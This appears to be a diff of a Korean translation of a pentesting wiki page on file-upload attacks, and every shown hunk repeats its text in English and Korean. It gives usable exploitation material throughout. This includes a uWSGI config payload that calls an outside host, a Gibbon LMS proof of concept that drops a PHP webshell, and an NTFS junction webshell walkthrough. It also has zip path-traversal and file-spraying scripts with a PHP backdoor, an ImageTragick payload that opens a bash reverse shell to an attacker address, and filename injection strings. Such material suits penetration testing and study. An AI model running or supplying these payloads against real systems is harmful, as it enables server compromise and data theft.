If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
|
||||
`.phar` 파일은 Java의 `.jar`와 유사하지만 PHP용이며, **php 파일처럼 사용**할 수 있습니다(php로 실행하거나 스크립트에 포함하는 등).
|
||||
|
||||
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
|
||||
`.inc` 확장자는 파일을 **import**하는 용도로만 사용되는 php 파일에 가끔 사용됩니다. 따라서 어떤 시점에서는 누군가가 **이 확장자를 실행 가능하도록 허용했을 수도 있습니다**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
If you can upload a XML file into a Jetty server you can obtain [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
|
||||
If you can upload a XML file into a Jetty server you can obtain [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** 따라서 다음 이미지에서 언급된 것처럼 XML 파일을 `$JETTY_BASE/webapps/`에 업로드하면 쉘을 얻을 수 있습니다!
|
||||
|
||||
.png>)
|
||||
|
||||
@ -136,9 +136,9 @@ If you can upload a XML file into a Jetty server you can obtain [RCE because **n
|
||||
|
||||
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
|
||||
Remote Command Execution (RCE) 취약점은 `.ini` 구성 파일을 수정할 수 있는 능력이 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "magic" 변수, 플레이스홀더, 연산자를 포함하는 특정 문법을 사용합니다. 특히 '@' 연산자는 `@(filename)`로 사용되어 파일의 내용을 포함하도록 설계되었습니다. uWSGI에서 지원되는 여러 스킴 중 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 `.ini` 구성 파일이 처리될 때 Remote Command Execution 또는 Arbitrary File Write/Read와 같은 악의적 목적에 악용될 수 있습니다.
|
||||
|
||||
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
|
||||
다음은 다양한 스킴을 보여주는 악성 `uwsgi.ini` 파일의 예입니다:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -156,22 +156,37 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
페이로드의 실행은 설정 파일을 파싱하는 과정에서 발생합니다. 설정이 활성화되어 파싱되려면 uWSGI 프로세스가 재시작되어야 하며(예: 충돌 이후 또는 Denial of Service attack으로 인해) 또는 해당 파일이 auto-reload로 설정되어 있어야 합니다. auto-reload 기능이 활성화된 경우 변경을 감지하면 지정된 간격으로 파일을 다시 로드합니다.
|
||||
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
|
||||
|
||||
uWSGI의 설정 파일 파싱이 느슨하다는 점을 이해하는 것이 중요합니다. 구체적으로, 여기서 논의한 payload는 바이너리 파일(예: 이미지나 PDF)에 삽입될 수 있어 잠재적 악용 범위를 더욱 넓힐 수 있습니다.
|
||||
설정 파일을 파싱하는 동안 payload가 실행됩니다. 설정이 활성화되어 파싱되려면 uWSGI 프로세스를 재시작해야 하며(크래시 후 또는 Denial of Service 공격으로 인해) 또는 파일이 auto-reload로 설정되어야 합니다. auto-reload 기능이 활성화된 경우 변경을 감지하면 지정된 간격으로 파일을 다시 로드합니다.
|
||||
|
||||
It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation.
|
||||
|
||||
uWSGI의 설정 파일 파싱이 느슨하다는 점을 이해하는 것이 중요합니다. 구체적으로, 여기서 언급한 payload는 이미지나 PDF 같은 바이너리 파일에 삽입될 수 있어 잠재적인 악용 범위를 더욱 넓힙니다.
|
||||
|
||||
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
|
||||
|
||||
Gibbon LMS의 인증되지 않은 endpoint가 web root 내부에 arbitrary file write를 허용하여 PHP 파일을 떨어뜨림으로써 pre-auth RCE로 이어집니다. 취약한 버전: 25.0.01까지(포함).
|
||||
Unauthenticated endpoint in Gibbon LMS allows arbitrary file write inside the web root, leading to pre-auth RCE by dropping a PHP file. Vulnerable versions: up to and including 25.0.01.
|
||||
|
||||
Gibbon LMS의 인증되지 않은 endpoint가 웹 루트 내에 임의의 파일 쓰기를 허용하여 PHP 파일을 업로드함으로써 pre-auth RCE로 이어집니다. 취약한 버전: 25.0.01 까지(포함).
|
||||
|
||||
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
|
||||
- Method: POST
|
||||
- Required params:
|
||||
- `img`: data-URI-like string: `[mime];[name],[base64]` (서버는 type/name을 무시하고 꼬리 부분을 base64로 디코딩함)
|
||||
- `img`: data-URI-like string: `[mime];[name],[base64]` (server ignores type/name, base64-decodes the tail)
|
||||
- `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
|
||||
- `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`)
|
||||
|
||||
- 엔드포인트: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
|
||||
- 메서드: POST
|
||||
- 필수 파라미터:
|
||||
- `img`: data-URI와 유사한 문자열: `[mime];[name],[base64]` (서버는 type/name을 무시하고 꼬리 부분을 base64로 디코드함)
|
||||
- `path`: Gibbon 설치 디렉토리 기준의 대상 파일명 (예: `poc.php` 또는 `0xdf.php`)
|
||||
- `gibbonPersonID`: 비어있지 않은 값이면 어떤 값이든 허용됨 (예: `0000000001`)
|
||||
|
||||
Minimal PoC to write and read back a file:
|
||||
|
||||
파일을 쓰고 다시 읽기 위한 최소 PoC:
|
||||
```bash
|
||||
# Prepare test payload
|
||||
printf '0xdf was here!' | base64
|
||||
@ -184,7 +199,7 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||
# Verify write
|
||||
curl http://target/Gibbon-LMS/poc.php
|
||||
```
|
||||
최소한의 webshell을 업로드하여 명령을 실행:
|
||||
최소한의 webshell을 업로드하고 명령을 실행:
|
||||
```bash
|
||||
# '<?php system($_GET["cmd"]); ?>' base64
|
||||
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
|
||||
@ -194,16 +209,16 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||
|
||||
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
|
||||
```
|
||||
Notes:
|
||||
- 핸들러는 `;` 및 `,`로 분할한 후 `base64_decode($_POST["img"])`를 수행하고, 그 다음 확장자/타입을 검증하지 않은 채 바이트를 `$absolutePath . '/' . $_POST['path']`에 작성합니다.
|
||||
- 결과 코드는 웹 서비스 사용자로 실행됩니다 (e.g., XAMPP Apache on Windows).
|
||||
참고:
|
||||
- 핸들러는 `;` 와 `,` 로 분할한 뒤 `base64_decode($_POST["img"])` 를 수행하고, 확장자/타입을 검증하지 않은 채 바이트를 `$absolutePath . '/' . $_POST['path']` 에 씁니다.
|
||||
- 결과적으로 이 코드는 웹 서비스 사용자 권한으로 실행됩니다 (예: XAMPP Apache on Windows).
|
||||
|
||||
References for this bug include the usd HeroLab advisory and the NVD entry. See the References section below.
|
||||
이 버그에 대한 참조로는 usd HeroLab advisory와 NVD 항목이 있습니다. 아래의 References 섹션을 참조하세요.
|
||||
|
||||
## **wget 파일 업로드/SSRF 트릭**
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
때때로 서버가 **`wget`**을 사용하여 파일을 **다운로드**하며 사용자가 **URL**을 **지정**할 수 있는 경우가 있습니다. 이러한 경우, 코드가 다운로드된 파일의 확장자가 허용된 파일만 다운로드되도록 화이트리스트에 있는지 확인할 수 있습니다. 그러나, **이 체크는 우회될 수 있습니다.**\
|
||||
**linux**에서 **filename**의 최대 길이는 **255**이지만, **wget**은 파일명을 **236**자로 잘라버립니다. You can **download a file called "A"*232+".php"+".gif"**, 이 파일명은 **체크를 우회**합니다(예시에서 **".gif"**는 **유효한** 확장자입니다) 하지만 `wget`은 파일명을 **"A"*232+".php"**로 **이름을 변경**합니다.
|
||||
어떤 경우에는 서버가 **`wget`** 을 사용해 **파일을 다운로드**하고 당신이 **URL** 을 **지정**할 수 있는 상황을 마주칠 수 있습니다. 이런 경우 코드가 다운로드된 파일의 확장자가 허용된 화이트리스트에 있는지 검사하여 허용된 파일만 다운로드되도록 할 수 있습니다. 그러나 **이 검사**는 우회될 수 있습니다.\
|
||||
리눅스에서 파일명 최대 길이는 **255** 이지만, **wget** 은 파일명을 **236** 자로 잘라냅니다. 따라서 **"A"*232+".php"+".gif"** 라는 이름의 파일을 다운로드하면 이 파일명은 검사(예에서 **".gif"** 가 유효한 확장자이기 때문에)를 우회하지만 `wget` 은 파일명을 **"A"*232+".php"** 로 변경합니다.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -228,33 +243,58 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
```
|
||||
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
|
||||
|
||||
## Tools
|
||||
### NTFS junctions (Windows)를 이용한 업로드 디렉터리 탈출
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
|
||||
(이 공격은 Windows 머신에 대한 로컬 액세스가 필요합니다) 업로드가 Windows에서 사용자별 하위폴더(예: C:\Windows\Tasks\Uploads\<id>\)에 저장되고 해당 하위폴더의 생성/삭제를 제어할 수 있다면, 그 폴더를 민감한 위치(예: the webroot)를 가리키는 directory junction으로 교체할 수 있습니다. 이후 업로드된 파일은 대상 경로에 기록되며, 대상이 server‑side code를 해석하는 경우 코드 실행이 가능해집니다.
|
||||
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
Example flow to redirect uploads into XAMPP webroot:
|
||||
```cmd
|
||||
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
|
||||
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
|
||||
|
||||
Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.
|
||||
:: 2) Remove the created folder and create a junction to webroot
|
||||
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
|
||||
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
|
||||
|
||||
## From File upload to other vulnerabilities
|
||||
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
|
||||
:: Minimal PHP webshell for testing
|
||||
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
|
||||
|
||||
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
|
||||
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
|
||||
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
|
||||
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
|
||||
:: 4) Trigger
|
||||
curl "http://TARGET/shell.php?cmd=whoami"
|
||||
```
|
||||
노트
|
||||
- mklink /J creates an NTFS directory junction (reparse point). 웹 서버의 계정은 junction을 따라가야 하며 대상에 대한 쓰기 권한을 가져야 합니다.
|
||||
- This redirects arbitrary file writes; 대상이 스크립트(PHP/ASP)를 실행하면 RCE가 됩니다.
|
||||
- 방어: C:\Windows\Tasks 같은 위치 아래에서 공격자가 제어할 수 있는 writable upload roots를 허용하지 마세요; junction 생성 차단; 서버 측에서 확장자 검증; 업로드를 별도 볼륨에 저장하거나 deny‑execute ACL을 적용하세요.
|
||||
|
||||
## 도구
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 는 Pentesters 및 Bug Hunters가 file upload 메커니즘을 테스트할 때 돕기 위해 설계된 강력한 도구입니다. 다양한 bug bounty 기법을 활용하여 취약점 식별 및 악용 과정을 단순화하고 웹 애플리케이션에 대한 철저한 평가를 보장합니다.
|
||||
|
||||
### snprintf 특이 동작으로 업로드 인덱스 손상시키기 (historical)
|
||||
|
||||
`snprintf()` 또는 유사한 함수를 사용해 단일 파일 업로드로부터 multi-file 배열을 구성하는 일부 레거시 업로드 핸들러는 `_FILES` 구조를 위조하도록 속일 수 있습니다. `snprintf()` 동작의 불일치와 잘림(truncation) 때문에 정교하게 조작된 단일 업로드가 서버 측에서 여러 인덱스화된 파일로 보일 수 있으며, 엄격한 형태를 가정하는 로직(예: multi-file 업로드로 처리하여 안전하지 않은 분기 진입)이 혼란을 겪게 됩니다. 오늘날에는 드물지만 이 “index corruption” 패턴은 가끔 CTFs와 오래된 코드베이스에서 재등장합니다.
|
||||
|
||||
## File upload에서 다른 취약점으로
|
||||
|
||||
- **filename**을 `../../../tmp/lol.png`로 설정하고 **path traversal**을 시도해보세요
|
||||
- **filename**을 `sleep(10)-- -.jpg`로 설정하면 **SQL injection**이 가능할 수 있습니다
|
||||
- **filename**을 `<svg onload=alert(document.domain)>`로 설정하면 XSS를 일으킬 수 있습니다
|
||||
- **filename**을 `; sleep 10;`로 설정해 일부 command injection을 테스트해보세요 (more [command injections tricks here](../command-injection.md))
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
|
||||
- 만약 웹 서버에 URL에서 이미지를 가져오도록 지시할 수 있다면 [SSRF](../ssrf-server-side-request-forgery/index.html)를 악용해볼 수 있습니다. 이 **image**가 어떤 **public** 사이트에 **saved**된다면, [https://iplogger.org/invisible/](https://iplogger.org/invisible/) 같은 URL을 지정하여 **모든 방문자의 정보**를 훔칠 수도 있습니다.
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
|
||||
- Check if there is any **size limit** uploading files
|
||||
- 특수 제작된 PDF로 XSS: [다음 페이지는 **PDF 데이터 주입으로 JS 실행을 얻는 방법**을 설명합니다](../xss-cross-site-scripting/pdf-injection.md). PDF 업로드가 가능하다면 주어진 지침에 따라 임의의 JS를 실행하는 PDF를 준비할 수 있습니다.
|
||||
- 서버에 어떤 **antivirus**가 있는지 확인하려면 \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 내용을 업로드해보세요
|
||||
- 파일 업로드 시 **size limit**가 있는지 확인하세요
|
||||
|
||||
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
다음은 업로드로 달성할 수 있는 상위 10가지 항목입니다 (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
@ -279,15 +319,15 @@ https://github.com/portswigger/upload-scanner
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
|
||||
다른 파일 유형은 [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)를 참조하세요.
|
||||
|
||||
## Zip/Tar File Automatically decompressed Upload
|
||||
## Zip/Tar 파일이 서버에서 자동으로 압축 해제되는 업로드
|
||||
|
||||
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
|
||||
서버 내에서 압축 해제될 ZIP을 업로드할 수 있다면 다음 두 가지를 할 수 있습니다:
|
||||
|
||||
### Symlink
|
||||
|
||||
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
|
||||
다른 파일로의 soft links가 포함된 링크를 업로드하면, 압축 해제된 파일에 접근할 때 연결된 파일들에 접근하게 됩니다:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
@ -295,18 +335,20 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### 다른 폴더로 압축 해제
|
||||
|
||||
압축 해제 중 디렉터리에 예기치 않게 파일이 생성되는 것은 심각한 문제입니다. 처음에는 이 설정이 악성 파일 업로드를 통한 OS-level command execution을 방지한다고 생각할 수 있지만, ZIP 아카이브 포맷의 계층적 압축 지원과 directory traversal 기능을 악용할 수 있습니다. 이를 통해 공격자는 제한을 우회하고 대상 애플리케이션의 압축 해제 기능을 조작해 보안 업로드 디렉터리에서 빠져나갈 수 있습니다.
|
||||
압축 해제 과정에서 디렉토리에 파일이 의도치 않게 생성되는 것은 심각한 문제입니다. 이러한 설정이 악성 파일 업로드를 통한 OS-level command execution을 방어할 수 있다고 처음에는 가정하더라도, ZIP archive format의 계층적 압축 지원과 directory traversal 기능은 악용될 수 있습니다. 이를 통해 공격자는 대상 애플리케이션의 압축 해제 기능을 조작하여 제한을 우회하고 보안 업로드 디렉토리에서 탈출할 수 있습니다.
|
||||
|
||||
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown:
|
||||
이러한 파일을 제작하는 자동화된 exploit은 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)에서 제공됩니다. 이 유틸리티는 다음과 같이 사용할 수 있습니다:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
또한, **symlink trick with evilarc**도 하나의 옵션입니다. 목표가 `/flag.txt` 같은 파일을 노리는 것이라면 해당 파일을 가리키는 symlink를 시스템에 생성해야 합니다. 이렇게 하면 evilarc가 동작 중에 오류를 만나지 않습니다.
|
||||
또한, **symlink trick with evilarc**도 옵션이다.
|
||||
|
||||
아래는 악성 zip 파일을 생성하는 데 사용되는 Python 코드의 예입니다:
|
||||
목표가 `/flag.txt` 같은 파일을 겨냥하는 것이라면, 시스템에 해당 파일을 가리키는 symlink를 생성해야 한다. 이렇게 하면 evilarc가 동작 중 오류가 발생하지 않도록 보장한다.
|
||||
|
||||
아래는 악성 zip 파일을 생성하는 데 사용되는 Python 코드 예시이다:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
@ -325,11 +367,11 @@ zip.close()
|
||||
|
||||
create_zip()
|
||||
```
|
||||
**Abusing compression for file spraying**
|
||||
**압축 악용을 통한 file spraying**
|
||||
|
||||
자세한 내용은 **원본 게시물을 확인하세요**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
자세한 내용은 **원문 포스트를 확인하세요**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Creating a PHP Shell**: PHP 코드는 `$_REQUEST` 변수로 전달된 명령을 실행하도록 작성됩니다.
|
||||
1. **Creating a PHP Shell**: 명령을 `$_REQUEST` 변수로 전달받아 실행하는 PHP 코드를 작성한다.
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -339,14 +381,14 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **File Spraying and Compressed File Creation**: 여러 파일을 생성하고 이 파일들을 포함하는 zip 아카이브를 만듭니다.
|
||||
2. **File Spraying and Compressed File Creation**: 여러 파일을 생성하고 이 파일들을 포함하는 zip 아카이브를 만든다.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Modification with a Hex Editor or vi**: zip 내부의 파일 이름을 vi 또는 hex editor를 사용해 변경하여 "xxA"를 "../"로 바꿔 디렉터리 트래버설을 수행합니다.
|
||||
3. **Modification with a Hex Editor or vi**: zip 내부의 파일 이름을 vi 또는 Hex Editor로 변경하여 "xxA"를 "../"로 바꿔 상위 디렉터리로 이동시킨다.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -356,40 +398,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
이 내용을 이미지 확장자로 업로드하면 취약점 **(ImageMagick , 7.0.1-1)** 을 악용할 수 있습니다 (자세한 내용은 [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
이 콘텐츠를 이미지 확장자로 업로드하여 취약점을 악용한다 **(ImageMagick , 7.0.1-1)** (exploit에서 확인: [https://www.exploit-db.com/exploits/39767])
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
## Embedding PHP Shell on PNG
|
||||
## PNG에 PHP Shell 삽입
|
||||
|
||||
PNG 파일의 IDAT 청크에 PHP shell을 임베드하면 특정 이미지 처리 작업을 효과적으로 우회할 수 있습니다. PHP-GD의 `imagecopyresized` 및 `imagecopyresampled` 함수는 각각 이미지 크기 조정과 재샘플링에 일반적으로 사용되므로 이 맥락에서 특히 관련성이 높습니다. 임베디드된 PHP shell이 이러한 처리로부터 영향을 받지 않고 남아 있을 수 있다는 점은 일부 사용 사례에서 중요한 이점입니다.
|
||||
PNG 파일의 IDAT 청크에 PHP shell을 삽입하면 특정 이미지 처리 작업을 효과적으로 우회할 수 있습니다. PHP-GD의 `imagecopyresized`와 `imagecopyresampled` 함수는 각각 이미지 리사이징과 리샘플링에 흔히 사용되므로 이 문맥에서 특히 관련이 있습니다. 삽입된 PHP shell이 이러한 작업으로부터 영향을 받지 않고 남아 있을 수 있다는 점은 특정 사용 사례에서 중요한 장점입니다.
|
||||
|
||||
이 기법의 방법론과 잠재적 응용을 자세히 다룬 글은 다음 기사에서 확인할 수 있습니다: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). 이 자료는 해당 절차와 그 의미를 포괄적으로 설명합니다.
|
||||
이 기술의 방법론과 잠재적 응용을 자세히 다룬 글은 다음 기사에서 확인할 수 있습니다: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). 이 자료는 프로세스와 그 함의를 포괄적으로 이해하는 데 도움이 됩니다.
|
||||
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Polyglot Files
|
||||
## Polyglot 파일
|
||||
|
||||
Polyglot files는 사이버 보안에서 독특한 도구로, 여러 파일 포맷을 동시에 유효하게 존재할 수 있는 카멜레온과 같습니다. 흥미로운 예로는 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있는데, 이는 GIF와 RAR 아카이브 둘 다로 동작하는 하이브리드입니다. 이런 파일들은 이 조합에만 국한되지 않으며, GIF와 JS 또는 PPT와 JS 같은 조합도 가능합니다.
|
||||
Polyglot 파일은 사이버보안에서 독특한 도구로, 동시에 여러 파일 포맷으로 유효하게 존재할 수 있는 카멜레온과 같습니다. 흥미로운 예로는 GIF와 RAR 아카이브 모두로 동작하는 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있습니다. 이런 파일은 이 조합에만 국한되지 않으며, GIF와 JS 또는 PPT와 JS 같은 조합도 가능합니다.
|
||||
|
||||
Polyglot files의 핵심 효용은 파일을 타입 기반으로 검사하는 보안 조치를 우회할 수 있다는 점에 있습니다. 다양한 애플리케이션에서는 보안상 업로드 가능한 파일 유형을 JPEG, GIF, DOC 등으로 제한하여 JS, PHP, Phar 같은 잠재적으로 위험한 포맷의 위험을 줄이는 것이 일반적입니다. 그러나 polyglot은 여러 파일 타입의 구조적 요건을 동시에 만족함으로써 이러한 제한을 은밀히 통과할 수 있습니다.
|
||||
Polyglot의 핵심 유용성은 파일 유형을 기준으로 파일을 검사하는 보안 제약을 우회할 수 있다는 점입니다. 많은 애플리케이션에서는 잠재적으로 위험한 포맷(예: JS, PHP, Phar 파일)을 줄이기 위해 JPEG, GIF 또는 DOC 같은 특정 파일 타입만 업로드를 허용하는 경우가 흔합니다. 그러나 polyglot은 여러 파일 타입의 구조적 기준을 동시에 만족함으로써 이러한 제한을 은밀히 우회할 수 있습니다.
|
||||
|
||||
그럼에도 불구하고 polyglot에는 한계가 존재합니다. 예를 들어 polyglot이 PHAR 파일(PHp ARchive)과 JPEG을 동시에 포함하고 있더라도, 업로드 성공 여부는 플랫폼의 파일 확장자 정책에 좌우될 수 있습니다. 시스템이 허용 확장자에 대해 엄격하다면 단순한 구조적 이중성만으로는 업로드를 보장하지 못할 수 있습니다.
|
||||
적응력이 높지만 polyglot에도 한계는 있습니다. 예를 들어, polyglot이 PHAR file (PHp ARchive)과 JPEG를 동시에 구현하더라도, 업로드 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용 가능한 확장자에 대해 엄격하면, polyglot의 단순한 구조적 이중성만으로는 업로드가 보장되지 않을 수 있습니다.
|
||||
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### Upload valid JSONs like if it was PDF
|
||||
### PDF인 척 하여 유효한 JSON 업로드하기
|
||||
|
||||
How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
허용되지 않은 경우에도 PDF 파일인 척 하여 유효한 JSON 파일을 업로드함으로써 파일 타입 감지를 피하는 방법(기술은 **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** 참조):
|
||||
|
||||
- **`mmmagic` library**: `%PDF` 매직 바이트가 처음 1024바이트 내에 있으면 유효하다고 판단됩니다 (예시는 포스트 참조)
|
||||
- **`pdflib` library**: JSON의 필드 안에 가짜 PDF 포맷을 넣어 라이브러리가 이를 PDF로 인식하게 합니다 (예시는 포스트 참조)
|
||||
- **`file` binary**: 파일에서 최대 1048576 바이트까지 읽을 수 있습니다. JSON을 그보다 크게 만들어 `file`이 내용을 JSON으로 파싱하지 못하게 한 다음, JSON 내부에 실제 PDF의 초기 부분을 넣으면 `file`은 이를 PDF로 인식합니다
|
||||
